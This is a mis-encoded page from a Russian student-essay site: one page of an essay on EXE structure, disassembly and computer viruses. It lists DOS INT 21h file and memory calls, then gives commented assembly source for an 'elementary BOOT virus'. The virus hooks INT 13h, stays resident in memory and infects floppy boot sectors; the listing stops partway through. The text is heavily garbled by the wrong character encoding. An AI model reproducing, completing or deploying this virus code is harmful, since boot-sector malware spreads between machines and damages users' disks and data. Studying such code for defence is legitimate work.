ñêà÷àòü ðåôåðàòû
  RSS    

Ìåíþ

Áûñòðûé ïîèñê

ñêà÷àòü ðåôåðàòû

ñêà÷àòü ðåôåðàòûÐåôåðàò: Ñåìàíòè÷åñêèé àíàëèç ñòðóêòóðû EXE ôàéëà è äèñàññåìáëåð (ñ ïðèìåðàìè è èñõîäíèêàìè), âèðóñîëîãèÿ

               âûõîä:

                               íåò

                                

               Ïîëó÷èòü àäðåñ DTA.

               ~~~~~~~~~~~~~~~~~~~

               âõîä:

                               ah            = 2Fh

               âûõîä:

                               es:bx       = òåêóùèé àäðåñ

                                

               Create - Ñîçäàòü ôàéë.

               ~~~~~~~~~~~~~~~~~~~~~

               âõîä:

                               ah            = 3Ch

                               cx            = àòðèáóòû ôàéëà (òàá 1)

                               ds:dx      = ïóòü è èìÿ ôàéëà â ôîðìàòå asciz

               âûõîä:

                               if CF=0 then

                                 ax          = äåñêðèïòîð ôàéëà

                               else

                                 ax          = êîä îøèáêè (3,4,5) (òàá 2)

                                

               Open - Îòêðûòü ñóùåñòâóþùèé ôàéë

               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

               âõîä:

                               ah            = 3Dh

                               al             = ðåæèì äîñòóïà (òàá 2)

                               cx            = àòðèáóòû

                               ds:dx      = èìÿ

               âûõîä:

                               if CF=0 then

                                 ax          = äåñêðèïòîð ôàéëà

                               else

                                 ax          = êîä îøèáêè (1,2,3,4,5,0C)

              

               Close - Çàêðûòü ôàéë

               ~~~~~~~~~~~~~~~~~~~~

               âõîä:

                               ah            = 3Eh

                               bx           = äåñêðèïòîð

                               ds:dx      = èìÿ

               âûõîä:

                               if CF=0 then

                                 ax          =

                               else

                                 ax          = êîä îøèáêè (6)

              

               Read - ×òåíèå èç ôàéëà

               ~~~~~~~~~~~~~~~~~~~~~~

               âõîä:

                               ah            = 3Fh

                               bx           = äåñêðèïòîð

                               cx            = ÷èñëî áàéò

                               ds:dx      = áóôåð äëÿ ÷òåíèÿ

               âûõîä:

                               if CF=0 then

                                 ax          = ÷èñëî ïðî÷èòàííûõ áàéò

                                                Ýòî çíà÷åíèå ìîæåò áûòü ìåíüøå CX.

                                                Íàïðèìåð ïîòîìó, ÷òî ïðåâûñèëè äëèíó ôàéëà.

                               else

                                 ax          = êîä îøèáêè (5,6)

               Write - Çàïèñàòü â ôàéë

               ~~~~~~~~~~~~~~~~~~~~~~~

               âõîä:

                               ah            = 40h

                               bx           = äåñêðèïòîð

                               cx            = ÷èñëî áàéò

                               ds:dx      = äàííûå äëÿ çàïèñè

               âûõîä:

                               if CF=0 then

                                 ax          = ÷èñëî çàïèñàííûõ áàéò

                               else

                                 ax          = êîä îøèáêè (5,6)

              

               Unlink - Óäàëèòü ôàéë

               ~~~~~~~~~~~~~~~~~~~~~

               âõîä:

                               ah            = 41h

                               cx            = àòðèáóòû

                               ds:dx      = èìÿ

               âûõîä:

                               if CF=0 then

                                 ax          =

                               else

                                 ax          = êîä îøèáêè (2,3,5)

              

               LSeek - Óñòàíîâèòü óêàçàòåëü â ôàéëå

               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

               âõîä:

                               ah            = 42h

                               al             = òî÷êà îòñ÷åòà óêàçàòåëÿ:

                                                0 - îò íà÷àëà ôàéëà

                                                1 - îò òåêóùåãî ïîëîæåíèÿ

                                                2 - îò êîíöà

                               bx           = äåñêðèïòîð

                               cx:dx      = ñìåùåíèå (cx=ñòàðøèå 16 áèò, dx=ìëàäøèå)

               âûõîä:

                               if CF=0 then

                                 dx:ax    = íîâîå ïîëîæåíèå óêàçàòåëÿ îòíîñèòåëüíî íà÷àëà

                               else

                                 ax          = êîä îøèáêè (1,6)

              

               Ïîëó÷èòü àòðèáóòû ôàéëà

               ~~~~~~~~~~~~~~~~~~~~~~~

               âõîä:

                               ax            = 4300h

                               ds:dx      = èìÿ

               âûõîä:

                               if CF=0 then

                                 cx          = àòðèáóòû

                               else

                                 ax          = êîä îøèáêè (1,2,3,5)

              

               Chmod - Óñòàíîâèòü àòðèáóòû ôàéëà

               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

               âõîä:

                               ax            = 4301h

                               cx            = íîâûå àòðèáóòû

                               ds:dx      = èìÿ

               âûõîä:

                               if CF=0 then

                                 ax          =

                               else

                                 ax          = êîä îøèáêè (1,2,3,5)

               Âûäåëèòü áëîê ïàìÿòè

               ~~~~~~~~~~~~~~~~~~~~

               âõîä:

                               ah            = 48h

                               bx           = ðàçìåð áëîêà â ïàðàãðàôàõ

               âûõîä:

                               if CF=0 then

                                 ax          = ñåãìåíò áëîêà

                               else

                                 ax          = êîä îøèáêè (7,8)

                                 bx         = ðàçìåð íàèáîëüøåãî äîñòóïíîãî áëîêà

               Îñâîáîäèòü ïàìÿòü

               ~~~~~~~~~~~~~~~~~

               âõîä:

                               ah            = 49h

                               es            = ñåãìåíò áëîêà

               âûõîä:

                               if CF=0 then

                                 ax          =

                               else

                                 ax          = êîä îøèáêè (7,9)

               Èçìåíèòü ðàçìåð áëîêà ïàìÿòè

               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

               âõîä:

                               ah            = 4Ah

                               bx           = íîâûé ðàçìåð

                               es            = ñåãìåíò

               âûõîä:

                               if CF=0 then

                                 ax          =

                               else

                                 ax          = êîä îøèáêè (7,8,9)

                                 bx         = ðàçìåð íàèáîëüøåãî äîñòóïíîãî áëîêà

               Exec - çàãðóçèòü èëè âûïîëíèòü ïðîãðàììó.

               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

               âõîä:

                               ah            = 4Bh

                               al             = òèï çàãðóçêè:

                                              0 - çàãðóçèòü è âûïîëíèòü

                                              1 - çàãðóçèòü è íå âûïîëíÿòü

                                              3 - çàãðóçèòü îâåðëåé

                                              4 - çàãðóçèòü è âûïîëíèòü â ôîíîâîì ðåæèìå (dos 4.0)

                               es:bx       = áëîê ïàðàìåòðîâ (òàá 3)

                               ds:dx      = èìÿ ïðîãðàììû

               âûõîä:

                               if CF=0 then

                                 bx,dx ðàçðóøåíû                               

                               else

                                 ax          = êîä îøèáêè (1,2,5,8,0A,0B)

Ïðèìåð ýëåìåíòàðíîãî BOOT-âèðóñà:

                    .286

                    .model tiny

                    .code

                    org 00h

start:           jmp install

;jmp fkñ                                                                 

table:                                                                                           ; À âîò òóò áóäåò òàáëèöà äèñêà

                    org 4ch                                                                    ; ìíîãî ìåñòà åé, íî...

fkñ:             nop                                                                          ;

                    xor di,di                                              ; îáíóëèì èõ

                    mov ds,di                                           ; DS=0

                    cli                                                                             ;

                    mov ss,di                                            ; SS=0

                    mov si,7c00h                                                         ; SI - àäðåñ â ïàìÿòè, òàì ìû

                                                                                                      ; íà÷èíàåìñÿ.

                    mov bx,si                                           ; çàïîìíèì ýòî... åùå ïðèãîäèòñÿ

                    mov sp,si                                           

                    sti                                                                            

                    dec word ptr ds:[0413h]                  ; ñòîêà ïàìÿòè äîñ

                    mov ax,ds:[0413h]                          ; â ÀÕ ðàçìåð äîñ-ïàìÿòè â êèëîáàéòàõ

                    mov cl,06                                           ; ÷òîáû ïîëó÷èòü ñåãìåíò íàäî ÷èñëî

                    shl ax,cl                                              ; êèëîáàéò óìíîæèòü íà 40h

                                                                                                      ; íåìíîãî àðèôìåòèêè - ñåãìåíò ñ÷èòàþò

                                                                                                      ; îò íà÷àëà ïàìÿòè â ïàðàãðàôàõ, ïàðà-

                                                                                                      ; ãðàô=10h áàéò, 40h ïàðàãðàôîâ=400h

                                                                                                      ; áàéò=1êÁò. äàëüøå âñå ÿñíî.

                    mov es,ax                                          ; ES=àäðåñ íîâîãî ñåãìåíòà

                    push ax                                                                   ; â ñòåê åãî - áóäåì äåëàòü ïåðåõîä

                    mov ax,offset inst_int                     ; íà ýòî âîò ñìåùåíèå

                    push ax                                                                   ; è åãî â ñòåê òîæå

                    mov cx,200h                                                         ; íî ñïåðâà íàäî ïåðåíåñòè ñâîå òåëî

                    cld                                                                            ; â ýòîò âîò ñåãìåíò

                    rep movsb                                          ; ïåðåíîñèì

                    retf                                                                           ; ïåðåõîä ÷åðåç ñòåê

inst_int:                                                                   ; çäåñü ìû óæå â íîâîì ñåãìåíòå

                    mov ax,ds:[13h*4]                          ; INT 0E0h=INT 13h original

                    mov ds:[0e0h*4],ax                        ;

                    mov ax,ds:[13h*4+2]                      ;

                    mov ds:[0e0h*4+2],ax                                        ;

                    mov word ptr ds:[13h*4],offset int13              ; INT 13h=íàø îáðàáîò÷èê

                    mov ds:[13h*4+2],cs                       ;

                    xor cx,cx

                    push cx                                                                   ; ñíîâà ïîäãîòîâêà ê ïåðåõîäó

                    push bx                                                                   ; ÷åðåç ñòåê â òî÷êó 0000:7C00h

                    mov es,cx

                    mov ax,0201h                                                       ; ÷èòàòü íîðìàëüíûé áóò-ñåêòîð

                    mov cx,cs:floppy_sect                                        ; âîò îòñþäà åãî è ÷èòàòü

                    mov dh,cs:floppy_head                                      ;

                    xor dl,dl                                              ; ñ äèñêà À: åñòåñòâåííî

                    int 0e0h                                              ; âûçîâ îðèãèíàëüíîãî INT 13h

run_boot:

                    retf                                                                           ; çàïóñòèòü áóò.

;------  *** Hàø îáðàáîò÷èê INT 13h ***  -------

int13:  mov cs:shit,ax                                          ; ñîõðàíèì ax

                    int 0e0h                                              ; âûïîëíèì îïåðàöèþ

                    jnc int_continue                                ; åñëè áûëà îøèáêà óõîäèì

                    jmp int_exit

int_continue:

                    pushf                                                   ; ôëàãè çàïîìíèòü íàäî!

                    cmp byte ptr cs:[shit+1],2               ; reading sectors?

                    jnz g1

                    cmp cx,0001                                                         

                    jne g1

                    cmp dh,0                                            ; ÷èòàåì áóò

                    jne g1

                    cmp dl,01                                           ; íå ñ âèíòà íàäåþñü?

                    jna fkñ_boot

g1:               jmp get_out

;------------- Îáðàáîò÷èê ÷òåíèÿ áóòà ñ äèñêåòû ---------------

fkñ_boot:

                    pusha                                                 

                    push ds es

                    push es

                    pop ds

                    lea di,fkñ                        ; ñðàâíèì òî ÷òî ó íàñ ïî ñìåùåíèþ fkñ

                    mov ax,cs:[di]                                   ; ñ òåì ÷òî ìû ïðî÷èòàëè ïî òîìó æå ñìåùåíèþ

                    mov si,bx                       ; Òàê ìû ïðîâåðÿåì çàðàæåí ëè

                    add si,offset fkñ           ; óæå íàìè áóò-ñåêòîð

                    cmp ax,[si]                                         ;

                    jz exit_boot_work        ; åñëè íåò òî óéäåì îòñþäà

                    cmp dl,1                         ; íà âñÿêèé ïîæàðíûé :) Â ïðèíöèïå ìîæåòå

                    ja exit_boot_work       ; ýòó ïðîâåðêó âûêèíóòü - îíà óæå áûëà

find_place:                                                             ; ïîèñê ìåñòà êóäà ïðÿòàòü ñòàðûé áóò-ñåêòîð

                    mov ax,[bx+16h]                            ; ax=÷èñëî ñåêòîðîâ â FAT

                    mul byte ptr [bx+10h] ; óìíîæèì åãî íà ÷èñëî FAT

                    add ax,[bx+0eh]                              ; ïðèáàâèì ÷èñëî ðåçåðâíûõ ñåêòîðîâ äëÿ FAT--

Ñòðàíèöû: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10


Íîâîñòè

Áûñòðûé ïîèñê

Ãðóïïà âÊîíòàêòå: íîâîñòè

Ïîêà íåò

Íîâîñòè â Twitter è Facebook

  ñêà÷àòü ðåôåðàòû              ñêà÷àòü ðåôåðàòû

Íîâîñòè

ñêà÷àòü ðåôåðàòû

© 2010.